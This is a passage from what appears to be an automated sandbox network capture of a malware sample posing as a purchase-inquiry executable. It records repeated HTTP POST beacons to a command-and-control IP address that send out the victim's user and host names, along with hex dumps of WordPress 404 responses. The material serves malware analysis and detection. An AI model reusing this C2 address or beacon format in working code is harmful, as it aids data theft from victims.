May 27, 2024 08:32:50.171736956 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:32:50.171770096 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:32:50.171802044 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:32:50.171855927 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:32:50.171889067 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:50.171925068 CEST	224	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--w
May 27, 2024 08:32:50.171952963 CEST	1236	IN	Data Raw: 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 3a 20 32 30 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 3a 20 33 36 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 Data Ascii: p--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5
May 27, 2024 08:32:50.171983004 CEST	224	IN	Data Raw: 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 Data Ascii: --black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset-
May 27, 2024 08:32:50.172017097 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49762	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:51.597201109 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:51.602142096 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:53.746386051 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:52 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:53.746417046 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:32:53.746429920 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:32:53.746439934 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:32:53.746450901 CEST	1236	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:32:53.746460915 CEST	1236	IN	Data Raw: 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 35 35 2c 31 30 35 2c 30 2c 31 29 20 30 25 2c 72 67 62 28 32 30 37 2c 34 36 2c 34 36 29 20 31 30 30 25 29 Data Ascii: nge-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-w
May 27, 2024 08:32:53.746469975 CEST	1236	IN	Data Raw: 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 32 30 3a 20 30 2e 34 34 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 33 30 3a 20 30 2e 36 37 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 Data Ascii: -preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--p
May 27, 2024 08:32:53.746488094 CEST	1236	IN	Data Raw: 77 68 69 74 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 63 6f 6c 6f Data Ascii: white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-c
May 27, 2024 08:32:53.746501923 CEST	1236	IN	Data Raw: 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 Data Ascii: t;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-
May 27, 2024 08:32:53.746512890 CEST	1236	IN	Data Raw: 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 Data Ascii: important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-bo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49763	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:53.933876038 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:53.938790083 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:56.188060045 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:54 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:56.188091993 CEST	224	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessio
May 27, 2024 08:32:56.188143015 CEST	1236	IN	Data Raw: 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 Data Ascii: nStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.wid
May 27, 2024 08:32:56.188193083 CEST	1236	IN	Data Raw: 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f Data Ascii: "script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",
May 27, 2024 08:32:56.188244104 CEST	1236	IN	Data Raw: 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d Data Ascii: eptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&
May 27, 2024 08:32:56.188276052 CEST	672	IN	Data Raw: 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 Data Ascii: id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red:
May 27, 2024 08:32:56.188309908 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:56.188338041 CEST	224	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--w
May 27, 2024 08:32:56.188369036 CEST	1236	IN	Data Raw: 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 3a 20 32 30 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 3a 20 33 36 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 Data Ascii: p--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5
May 27, 2024 08:32:56.188409090 CEST	224	IN	Data Raw: 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 Data Ascii: --black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49764	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:57.234371901 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:57.241089106 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:59.363845110 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:57 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" 